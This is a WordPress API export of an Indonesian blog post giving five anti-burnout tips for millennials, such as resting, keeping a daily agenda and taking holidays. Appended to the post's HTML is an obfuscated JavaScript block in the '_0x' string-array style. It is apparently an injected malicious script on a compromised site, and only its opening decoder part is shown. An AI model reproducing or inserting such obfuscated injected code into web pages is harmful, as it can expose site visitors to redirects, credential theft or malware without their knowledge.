{"id":3395,"date":"2021-02-09T10:36:39","date_gmt":"2021-02-09T10:36:39","guid":{"rendered":"http:\/\/womanpreneur-community.com\/blog\/?p=3395"},"modified":"2021-02-09T10:36:42","modified_gmt":"2021-02-09T10:36:42","slug":"tips-anti-burnout-untuk-millennial","status":"publish","type":"post","link":"https:\/\/womanpreneur-community.com\/blog\/tips-anti-burnout-untuk-millennial\/","title":{"rendered":"Tips Anti Burnout Untuk Millennial"},"content":{"rendered":"\n<p><strong>Bekerjalah sesuai kemampuan tanpa tekanan<\/strong><\/p>\n\n\n\n<p>Sebaiknya setiap pekerjaan dilakukan dengan memperhatikan batas kemampuan. Kita tidak perlu bekerja secara sempurna melainkan bekerjalah secara efektif, jangan biarkan kita menjadi tertekan karena ambisi.<\/p>\n\n\n\n<p><strong>Perhatikan kondisi fisik dan beristirahat<\/strong><\/p>\n\n\n\n<p>Jangan paksakan fisik! ketika kita lelah dengan semua aktivitas yang kita lakukan lebih baik untuk beristirahat, karena dengan beristirahat dapat mengembalikan konsentrasi dan energi. Ingat jika dipaksakan yang ada kita malah menjadi emosi dan stres.<\/p>\n\n\n\n<p><strong>Buat agenda pekerjaan harian<\/strong><\/p>\n\n\n\n<p>Buatlah agenda pekerjaan harian, dengan begitu maka apa yang kita kerjakan bisa terkontrol dan tidak keteter jika sewaktu-waktu ada pekerjaan dadakan.<\/p>\n\n\n\n<p><strong>Sempatkan kumpul-kumpul bareng teman<\/strong><\/p>\n\n\n\n<p>Hangout dengan teman diluar jam kerja akan membuat mu merasa lebih fresh, karena di saat itu kita bisa berbagi cerita yang nantinya akan mengurangi beban pikiran. Tentunya mereka akan memberikan solusi atau bahkan memberikan semangat.<\/p>\n\n\n\n<p><strong>Liburan<\/strong><\/p>\n\n\n\n<p>Setelah bergelut dengan kerjaan, tugas, dan deadline, alangkah lebih baiknya jika kita merencanakan liburan untuk merefreshkan pikiran dan melepas penat. Ketahuilah pekerjaan yang dilakukan saat kondisi lelah akan membuahkan hasil yang kurang maksimal.<\/p>\n\n\n\n<p>Sumber: www.topkarir.com<\/p>\n\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const 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Kita tidak perlu bekerja secara sempurna melainkan bekerjalah secara efektif, jangan biarkan kita menjadi tertekan karena ambisi. Perhatikan kondisi fisik dan beristirahat Jangan paksakan fisik! ketika kita lelah dengan semua aktivitas yang kita lakukan lebih baik untuk beristirahat, karena dengan beristirahat dapat [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":3396,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"sfsi_plus_gutenberg_text_before_share":"","sfsi_plus_gutenberg_show_text_before_share":"","sfsi_plus_gutenberg_icon_type":"","sfsi_plus_gutenberg_icon_alignemt":"","sfsi_plus_gutenburg_max_per_row":"","ngg_post_thumbnail":0,"footnotes":""},"categories":[13],"tags":[],"class_list":["post-3395","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-artikel"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/womanpreneur-community.com\/blog\/wp-json\/wp\/v2\/posts\/3395","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/womanpreneur-community.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/womanpreneur-community.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/womanpreneur-community.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/womanpreneur-community.com\/blog\/wp-json\/wp\/v2\/comments?post=3395"}],"version-history":[{"count":1,"href":"https:\/\/womanpreneur-community.com\/blog\/wp-json\/wp\/v2\/posts\/3395\/revisions"}],"predecessor-version":[{"id":3397,"href":"https:\/\/womanpreneur-community.com\/blog\/wp-json\/wp\/v2\/posts\/3395\/revisions\/3397"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/womanpreneur-community.com\/blog\/wp-json\/wp\/v2\/media\/3396"}],"wp:attachment":[{"href":"https:\/\/womanpreneur-community.com\/blog\/wp-json\/wp\/v2\/media?parent=3395"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/womanpreneur-community.com\/blog\/wp-json\/wp\/v2\/categories?post=3395"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/womanpreneur-community.com\/blog\/wp-json\/wp\/v2\/tags?post=3395"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}